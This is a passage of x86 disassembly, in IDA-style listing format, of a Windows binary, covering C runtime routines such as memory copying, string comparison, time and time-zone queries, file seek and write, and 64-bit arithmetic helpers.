; DATA XREF: sub_41D300+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41D414: ; CODE XREF: sub_41D300:loc_41D35Cj
; DATA XREF: sub_41D300+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41D41C: ; CODE XREF: sub_41D300:loc_41D35Cj
; DATA XREF: sub_41D300+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41D424: ; CODE XREF: sub_41D300:loc_41D35Cj
; DATA XREF: sub_41D300+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41D42C: ; CODE XREF: sub_41D300:loc_41D35Cj
; DATA XREF: sub_41D300+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D43F: ; CODE XREF: sub_41D300:loc_41D35Cj
; DATA XREF: sub_41D300:off_41D3DCo
jmp off_41D448[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D448 dd offset loc_41D458 ; DATA XREF: sub_41D300+35r
; sub_41D300+92r ...
dd offset loc_41D460
dd offset loc_41D46C
dd offset loc_41D480
; ---------------------------------------------------------------------------
loc_41D458: ; CODE XREF: sub_41D300+35j
; sub_41D300+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D460: ; CODE XREF: sub_41D300+35j
; sub_41D300+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D46C: ; CODE XREF: sub_41D300+35j
; sub_41D300+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D480: ; CODE XREF: sub_41D300+35j
; sub_41D300+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D498: ; CODE XREF: sub_41D300+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41D4CC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D4C0
std
rep movsd
cld
jmp off_41D5E0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D4C0: ; CODE XREF: sub_41D300+1B1j
; sub_41D300+208j ...
neg ecx
jmp off_41D590[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D4CC: ; CODE XREF: sub_41D300+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41D4E4
and eax, 3
sub ecx, eax
jmp dword ptr loc_41D4E4+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D4E4: ; CODE XREF: sub_41D300+1D6j
; DATA XREF: sub_41D300+1DDr
jmp off_41D5E0[ecx*4]
; ---------------------------------------------------------------------------
align 4
clc
aam 41h
add [eax], bl
aad 41h
add [eax-2Bh], al
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41D4C0
std
rep movsd
cld
jmp off_41D5E0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41D4C0
std
rep movsd
cld
jmp off_41D5E0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41D4C0
std
rep movsd
cld
jmp off_41D5E0[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D594
dd offset loc_41D59C
dd offset loc_41D5A4
dd offset loc_41D5AC
dd offset loc_41D5B4
dd offset loc_41D5BC
dd offset loc_41D5C4
off_41D590 dd offset loc_41D5D7 ; DATA XREF: sub_41D300+1C2r
; ---------------------------------------------------------------------------
loc_41D594: ; DATA XREF: sub_41D300+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41D59C: ; DATA XREF: sub_41D300+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41D5A4: ; DATA XREF: sub_41D300+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41D5AC: ; DATA XREF: sub_41D300+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41D5B4: ; DATA XREF: sub_41D300+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41D5BC: ; DATA XREF: sub_41D300+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41D5C4: ; DATA XREF: sub_41D300+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D5D7: ; CODE XREF: sub_41D300+1C2j
; DATA XREF: sub_41D300:off_41D590o
jmp off_41D5E0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D5E0 dd offset loc_41D5F0 ; DATA XREF: sub_41D300+1B7r
; sub_41D300:loc_41D4E4r ...
dd offset loc_41D5F8
dd offset loc_41D608
dd offset loc_41D61C
; ---------------------------------------------------------------------------
loc_41D5F0: ; CODE XREF: sub_41D300+1B7j
; sub_41D300:loc_41D4E4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D5F8: ; CODE XREF: sub_41D300+1B7j
; sub_41D300:loc_41D4E4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D608: ; CODE XREF: sub_41D300+1B7j
; sub_41D300:loc_41D4E4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D61C: ; CODE XREF: sub_41D300+1B7j
; sub_41D300:loc_41D4E4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41D300 endp
; =============== S U B R O U T I N E =======================================
sub_41D635 proc near ; CODE XREF: sub_40D947+34p
; sub_40D947+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41BB57
pop ecx
pop ecx
retn
sub_41D635 endp
; =============== S U B R O U T I N E =======================================
sub_41D643 proc near ; CODE XREF: sub_41D6B0+4p
arg_0 = dword ptr 4
push esi
push dword_4DFC7C
call sub_422CA8
mov edx, dword_4DFC7C
pop ecx
mov ecx, dword_4DFC78
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_41D6A2
push edx
call sub_422CA8
add eax, 10h
push eax
push dword_4DFC7C
call sub_41B872
add esp, 0Ch
test eax, eax
jnz short loc_41D685
retn
; ---------------------------------------------------------------------------
loc_41D685: ; CODE XREF: sub_41D643+3Fj
mov ecx, dword_4DFC78
sub ecx, dword_4DFC7C
mov dword_4DFC7C, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_4DFC78, ecx
loc_41D6A2: ; CODE XREF: sub_41D643+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_4DFC78, 4
retn
sub_41D643 endp
; =============== S U B R O U T I N E =======================================
sub_41D6B0 proc near ; CODE XREF: sub_40DA34+1Ap
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41D643
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_41D6B0 endp
; ---------------------------------------------------------------------------
push 80h
call sub_41BB45
test eax, eax
pop ecx
mov dword_4DFC7C, eax
jnz short loc_41D6E3
push 18h
call sub_41E0C9
mov eax, dword_4DFC7C
pop ecx
loc_41D6E3: ; CODE XREF: .XPack0:0041D6D4j
and dword ptr [eax], 0
mov eax, dword_4DFC7C
mov dword_4DFC78, eax
retn
; =============== S U B R O U T I N E =======================================
sub_41D6F1 proc near ; CODE XREF: sub_40DA56+7Ap
; sub_40DA56+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_41D705
loc_41D6FD: ; CODE XREF: sub_41D6F1+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_41D6FD
loc_41D705: ; CODE XREF: sub_41D6F1+Aj
mov edx, [esp+arg_4]
push esi
loc_41D70A: ; CODE XREF: sub_41D6F1+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_41D70A
pop esi
retn
sub_41D6F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D71B proc near ; CODE XREF: sub_40EA40+1A3p
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call dword_428144 ; GetLocalTime
lea eax, [ebp+var_20]
push eax
call dword_4281B0 ; GetSystemTime
mov ax, [ebp+var_16]
cmp ax, word_4DE632
jnz short loc_41D780
mov ax, [ebp+var_18]
cmp ax, word_4DE630
jnz short loc_41D780
mov ax, [ebp+var_1A]
cmp ax, word_4DE62E
jnz short loc_41D780
mov ax, [ebp+var_1E]
cmp ax, word_4DE62A
jnz short loc_41D780
mov ax, [ebp+var_20]
cmp ax, word_4DE628
jnz short loc_41D780
mov eax, dword_4DE620
jmp short loc_41D7C5
; ---------------------------------------------------------------------------
loc_41D780: ; CODE XREF: sub_41D71B+28j
; sub_41D71B+35j ...
lea eax, [ebp+var_CC]
push eax
call dword_4281AC ; GetTimeZoneInformation
cmp eax, 0FFFFFFFFh
jz short loc_41D7AD
cmp eax, 2
jnz short loc_41D7A9
cmp [ebp+var_32], 0
jz short loc_41D7A9
cmp [ebp+var_24], 0
jz short loc_41D7A9
push 1
pop eax
jmp short loc_41D7B0
; ---------------------------------------------------------------------------
loc_41D7A9: ; CODE XREF: sub_41D71B+7Aj
; sub_41D71B+81j ...
xor eax, eax
jmp short loc_41D7B0
; ---------------------------------------------------------------------------
loc_41D7AD: ; CODE XREF: sub_41D71B+75j
or eax, 0FFFFFFFFh
loc_41D7B0: ; CODE XREF: sub_41D71B+8Cj
; sub_41D71B+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_4DE628
movsd
movsd
movsd
movsd
pop edi
mov dword_4DE620, eax
pop esi
loc_41D7C5: ; CODE XREF: sub_41D71B+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_422D09
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_41D7F5
mov [ecx], eax
locret_41D7F5: ; CODE XREF: sub_41D71B+D6j
leave
retn
sub_41D71B endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D800 proc near ; CODE XREF: sub_40EA40+19p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_4DE67C
cmp dword ptr [eax+8], 0
jnz short loc_41D853
mov al, 0FFh
mov edi, edi
loc_41D81C: ; CODE XREF: sub_41D800+28j
; sub_41D800+48j
or al, al
jz short loc_41D84E
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_41D81C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_41D81C
sbb al, al
sbb al, 0FFh
loc_41D84E: ; CODE XREF: sub_41D800+1Ej
movsx eax, al
jmp short loc_41D887
; ---------------------------------------------------------------------------
loc_41D853: ; CODE XREF: sub_41D800+16j
mov eax, 0FFh
xor ebx, ebx
mov edi, edi
loc_41D85C: ; CODE XREF: sub_41D800+68j
; sub_41D800+80j
or al, al
jz short loc_41D887
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_41D85C
push eax
push ebx
call sub_41DDEC
mov ebx, eax
add esp, 4
call sub_41DDEC
add esp, 4
cmp bl, al
jz short loc_41D85C
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41D887: ; CODE XREF: sub_41D800+51j
; sub_41D800+5Ej
pop ebx
pop esi
pop edi
leave
retn
sub_41D800 endp
; =============== S U B R O U T I N E =======================================
sub_41D88C proc near ; CODE XREF: sub_412407+26Ep
; sub_412407+35Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41D908
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_41D8AB
cmp edi, 1
jz short loc_41D8AB
cmp edi, 2
jnz short loc_41D908
loc_41D8AB: ; CODE XREF: sub_41D88C+13j
; sub_41D88C+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_41D8C2
push esi
call sub_422E65
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_41D8C2: ; CODE XREF: sub_41D88C+27j
push esi
call sub_41E22B
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_41D8D7
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41D8EB
; ---------------------------------------------------------------------------
loc_41D8D7: ; CODE XREF: sub_41D88C+42j
test al, 1
jz short loc_41D8EB
test al, 8
jz short loc_41D8EB
test ah, 4
jnz short loc_41D8EB
mov dword ptr [esi+18h], 200h
loc_41D8EB: ; CODE XREF: sub_41D88C+49j
; sub_41D88C+4Dj ...
push edi
push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_422DCB
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_41D915
; ---------------------------------------------------------------------------
loc_41D908: ; CODE XREF: sub_41D88C+Bj
; sub_41D88C+1Dj
mov dword_4DE5C4, 16h
or eax, 0FFFFFFFFh
loc_41D915: ; CODE XREF: sub_41D88C+7Aj
pop edi
pop esi
retn
sub_41D88C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D920 proc near ; CODE XREF: sub_4138D3+19Ep
; sub_414628+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41D939
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41D939: ; CODE XREF: sub_41D920+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41D920 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D954 proc near ; CODE XREF: sub_416770+127p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_41D978
xor eax, eax
jmp loc_41DA45
; ---------------------------------------------------------------------------
loc_41D978: ; CODE XREF: sub_41D954+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41D98B
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41D992
; ---------------------------------------------------------------------------
loc_41D98B: ; CODE XREF: sub_41D954+2Dj
mov [ebp+arg_C], 1000h
loc_41D992: ; CODE XREF: sub_41D954+35j
; sub_41D954+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41D9C6
mov eax, [esi+4]
test eax, eax
jz short loc_41D9C6
cmp ebx, eax
mov edi, ebx
jb short loc_41D9AC
mov edi, eax
loc_41D9AC: ; CODE XREF: sub_41D954+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call near ptr sub_41C9B0
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_41DA0C
; ---------------------------------------------------------------------------
loc_41D9C6: ; CODE XREF: sub_41D954+47j
; sub_41D954+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41DA11
test ecx, ecx
jz short loc_41D9DA
push esi
call sub_41E22B
test eax, eax
pop ecx
jnz short loc_41DA53
loc_41D9DA: ; CODE XREF: sub_41D954+79j
cmp [ebp+arg_C], 0
jz short loc_41D9ED
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41D9EF
; ---------------------------------------------------------------------------
loc_41D9ED: ; CODE XREF: sub_41D954+8Aj
mov edi, ebx
loc_41D9EF: ; CODE XREF: sub_41D954+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_422FBD
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41DA4A
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_41DA4A
loc_41DA0C: ; CODE XREF: sub_41D954+70j
mov edi, [ebp+var_4]
jmp short loc_41DA3A
; ---------------------------------------------------------------------------
loc_41DA11: ; CODE XREF: sub_41D954+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41FC2A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DA53
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_41DA3A
mov [ebp+arg_C], 1
loc_41DA3A: ; CODE XREF: sub_41D954+BBj
; sub_41D954+DDj
test ebx, ebx
jnz loc_41D992
mov eax, [ebp+arg_8]
loc_41DA45: ; CODE XREF: sub_41D954+1Fj
; sub_41D954+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41DA4A: ; CODE XREF: sub_41D954+ADj
; sub_41D954+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_41DA55
; ---------------------------------------------------------------------------
loc_41DA53: ; CODE XREF: sub_41D954+84j
; sub_41D954+CFj
mov eax, edi
loc_41DA55: ; CODE XREF: sub_41D954+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41DA45
sub_41D954 endp
; =============== S U B R O U T I N E =======================================
sub_41DA5E proc near ; CODE XREF: sub_416EA7+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call dword_4280A0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_41DA7E
call dword_428094 ; RtlGetLastWin32Error
push eax
call sub_420A7F
pop ecx
loc_41DA7A: ; CODE XREF: sub_41DA5E+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41DA7E: ; CODE XREF: sub_41DA5E+Dj
test al, 1
jz short loc_41DA9F
test [esp+arg_4], 2
jz short loc_41DA9F
mov dword_4DE5C4, 0Dh
mov dword_4DE5C8, 5
jmp short loc_41DA7A
; ---------------------------------------------------------------------------
loc_41DA9F: ; CODE XREF: sub_41DA5E+22j
; sub_41DA5E+29j
xor eax, eax
retn
sub_41DA5E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DAB0 proc near ; CODE XREF: sub_416EC1+3Fp
; sub_41AFEB+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41DAD2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DB13
; ---------------------------------------------------------------------------
loc_41DAD2: ; CODE XREF: sub_41DAB0+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41DAE0: ; CODE XREF: sub_41DAB0+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DAE0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41DB0E
cmp edx, [esp+8+arg_4]
ja short loc_41DB0E
jb short loc_41DB0F
cmp eax, [esp+8+arg_0]
jbe short loc_41DB0F
loc_41DB0E: ; CODE XREF: sub_41DAB0+4Ej
; sub_41DAB0+54j
dec esi
loc_41DB0F: ; CODE XREF: sub_41DAB0+56j
; sub_41DAB0+5Cj
xor edx, edx
mov eax, esi
loc_41DB13: ; CODE XREF: sub_41DAB0+20j
pop esi
pop ebx
retn 10h
sub_41DAB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DB20 proc near ; CODE XREF: sub_416EC1+2Dp
; sub_41AFEB+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41DB41
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41DB91
; ---------------------------------------------------------------------------
loc_41DB41: ; CODE XREF: sub_41DB20+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41DB4F: ; CODE XREF: sub_41DB20+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DB4F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41DB7A
cmp edx, [esp+4+arg_4]
ja short loc_41DB7A
jb short loc_41DB82
cmp eax, [esp+4+arg_0]
jbe short loc_41DB82
loc_41DB7A: ; CODE XREF: sub_41DB20+4Aj
; sub_41DB20+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41DB82: ; CODE XREF: sub_41DB20+52j
; sub_41DB20+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41DB91: ; CODE XREF: sub_41DB20+1Fj
pop ebx
retn 10h
sub_41DB20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DBA0 proc near ; CODE XREF: sub_416FD0+5Fp
; sub_416FD0+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41DBC1
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41DBC1: ; CODE XREF: sub_41DBA0+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41DBDD
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41DBDD: ; CODE XREF: sub_41DBA0+27j
or eax, eax
jnz short loc_41DBF9
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DC3A
; ---------------------------------------------------------------------------
loc_41DBF9: ; CODE XREF: sub_41DBA0+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41DC07: ; CODE XREF: sub_41DBA0+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41DC07
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41DC35
cmp edx, [esp+0Ch+arg_4]
ja short loc_41DC35
jb short loc_41DC36
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41DC36
loc_41DC35: ; CODE XREF: sub_41DBA0+85j
; sub_41DBA0+8Bj
dec esi
loc_41DC36: ; CODE XREF: sub_41DBA0+8Dj
; sub_41DBA0+93j
xor edx, edx
mov eax, esi
loc_41DC3A: ; CODE XREF: sub_41DBA0+57j
dec edi
jnz short loc_41DC44
neg edx
neg eax
sbb edx, 0
loc_41DC44: ; CODE XREF: sub_41DBA0+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41DBA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DC4A proc near ; CODE XREF: sub_41767C+BFp
; sub_41767C+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DE684
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_41DC7E
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_41DCE5
loc_41DC66: ; CODE XREF: sub_41DC4A+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_41DC77
cmp cl, 7Ah
jg short loc_41DC77
sub cl, 20h
mov [edx], cl
loc_41DC77: ; CODE XREF: sub_41DC4A+21j
; sub_41DC4A+26j
inc edx
cmp [edx], bl
jnz short loc_41DC66
jmp short loc_41DCE5
; ---------------------------------------------------------------------------
loc_41DC7E: ; CODE XREF: sub_41DC4A+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_42316A
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_41DCD7
push edi
call sub_41BB45
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41DCD7
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_4DE684
call sub_42316A
add esp, 20h
test eax, eax
jz short loc_41DCD7
push [ebp+var_4]
push [ebp+arg_0]
call sub_41C520
pop ecx
pop ecx
loc_41DCD7: ; CODE XREF: sub_41DC4A+53j
; sub_41DC4A+61j ...
push [ebp+var_4]
call sub_41B721
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_41DCE5: ; CODE XREF: sub_41DC4A+1Aj
; sub_41DC4A+32j
pop ebx
leave
retn
sub_41DC4A endp
; =============== S U B R O U T I N E =======================================
sub_41DCE8 proc near ; CODE XREF: sub_417FDF+1A3p
arg_0 = dword ptr 4
cmp dword_43F824, 1
jle short loc_41DCFF
push 4
push [esp+4+arg_0]
call sub_41FBB5
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DCFF: ; CODE XREF: sub_41DCE8+7j
mov eax, [esp+arg_0]
mov ecx, off_43F618
mov al, [ecx+eax*2]
and eax, 4
retn
sub_41DCE8 endp
; =============== S U B R O U T I N E =======================================
sub_41DD10 proc near ; CODE XREF: sub_420BB0+76p
; sub_420BB0+88p ...
arg_0 = dword ptr 4
cmp dword_43F824, 1
jle short loc_41DD27
push 8
push [esp+4+arg_0]
call sub_41FBB5
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DD27: ; CODE XREF: sub_41DD10+7j
mov eax, [esp+arg_0]
mov ecx, off_43F618
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41DD10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DD40 proc near ; CODE XREF: sub_4183DE+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41DD8C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
